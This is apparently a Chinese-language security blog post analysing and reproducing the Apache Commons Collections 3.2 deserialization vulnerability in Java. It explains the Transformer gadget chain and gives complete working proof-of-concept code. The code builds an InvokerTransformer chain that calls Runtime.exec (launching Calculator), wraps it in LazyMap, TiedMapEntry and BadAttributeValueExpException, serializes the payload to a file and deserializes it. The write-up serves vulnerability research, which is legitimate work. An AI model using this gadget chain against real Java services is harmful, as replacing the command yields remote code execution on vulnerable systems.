java apache common collections 反序列化分析
apache common collections是15年左右爆出來的一個反序列化利用鏈,影響範圍廣泛。這篇文章中便復現一下這個利用過程。
復現的第一步:專案依賴項配置
新版本的apache common collections添加了對這個漏洞的修復,在 apache common collections4
中Tranformer類取消了 Seralizable
,而其他高版本則需要設定環境來允許序列化才可以,因此我們使用舊版本的apache common collections來複現這個漏洞。這裡貼一下我的maven的依賴項配置:
<dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2</version> </dependency> </dependencies>
pop鏈分析
apache common collections的反序列化主要依託於transformer這個類,以及TransformedMap類。顧名思義Transformer類適用於描述一個變換過程,而TransformedMap就是將這個變換過程應用到一個Map上對Map進行變換。當我們修改Map中的某個值時就會呼叫預先設定好的Transformer來對Map進行處理操作。
Map transformedMap=TransformedMap.decorate(map,keyTrasnfomer,valueTransformer);
這裡便通過一個decorate函式將一個map轉換為TranformedMap,並對map的key和value繫結相應的Transformer,當 key
和 value
改變時便觸發對應的 Transformer
的 transform
方法進行處理動作。
如果想要實現一連串的變換操作則可以通過ChainedTransformer來實現,比如這裡我們用於實現RCE的Tranformer鏈:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), /* 由於Method類的invoke(Object obj,Object args[])方法的定義 所以在反射內寫new Class[] {Object.class, Object[].class } 正常POC流程舉例: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); */ new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] {Object.class,Object[].class }, new Object[] {null, null } ), new InvokerTransformer( "exec", new Class[] {String.class }, new Object[] { "/Applications/Calculator.app/Contents/MacOS/Calculator" } //目標機器上反序列化後執行的命令 ) }; Transformer chainedTransformer=new ChainedTransformer(transformers);
實際執行的程式碼便是 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
也就是Mac下彈計算器的指令。
之後我們便可以構造一個是喲很難過這個chain的TranformedMap,並且觸發對這個TransformedMap的處理即可:
Map map=new HashMap(); map.put("a","b"); Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer); transformedMap.put("a","z");
執行即可發現彈回的計算器。
RCE構造
我們已經構造出了執行命令的popChain,那樣怎樣才能找到一個符合條件的RCE?我們需要找到一個滿足下列條件的類:
readObject
之前的很多文章都是使用的 AnnotationInvocationHandler
類,然而在我使用的jdk版本(1.8)中該類的 readObject
方法中並沒有找到對map的更改操作。後來參考反序列化自動化工具 ysoserial
中的 CommonsCollections5
這個payload實現了其中的一個呼叫鏈:利用 BadAttributeValueExpException
類。我們可以看一下這個類的readObject方法:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
可以看到這裡我們對反序列化傳入的物件的成員屬性val判斷其型別,如果這個變數不是String便會呼叫val的toString方法。這裡如果我們通過反序列化傳入的val是一個lazyMap類的entry,在呼叫其toString方法時便會呼叫LazyMap.get()從而觸發繫結的Transformer的 transform
方法。但是這裡我們的 LazyMap
類在獲取一個不存在的鍵的時候才會觸發 transform
,因此我們這裡可以引入另外一個類 TiedMapEntry
,這個類在執行toString時可以呼叫其繫結的map取獲取預定的鍵。
因此這個poc鏈的執行過程為:
BadAtrributeValueException物件exception-> exception物件的val設定為lazyMap的TiedMapEntry,鍵為lazyMap中不存在的鍵 -> 呼叫entry的toString() -> 呼叫lazyMap的get方法獲取這個不存在的鍵 -> 呼叫transform方法
具體實現:
Transformer chainedTransformer=new ChainedTransformer(transformers); /*Map map=new HashMap(); map.put("a","b"); Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer); transformedMap.put("a","z"); System.exit(1);*/ Map normalMap=new HashMap(); normalMap.put("hackedby","imagemlt"); Map lazyMap=LazyMap.decorate(normalMap,chainedTransformer); TiedMapEntry entry=new TiedMapEntry(lazyMap,"foo"); BadAttributeValueExpException exception=new BadAttributeValueExpException(null); Field valField=exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(exception,entry); File f=new File("/tmp/payload.bin"); ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(exception); out.flush(); out.close(); ObjectInputStream in=new ObjectInputStream(new FileInputStream(f)); in.readObject();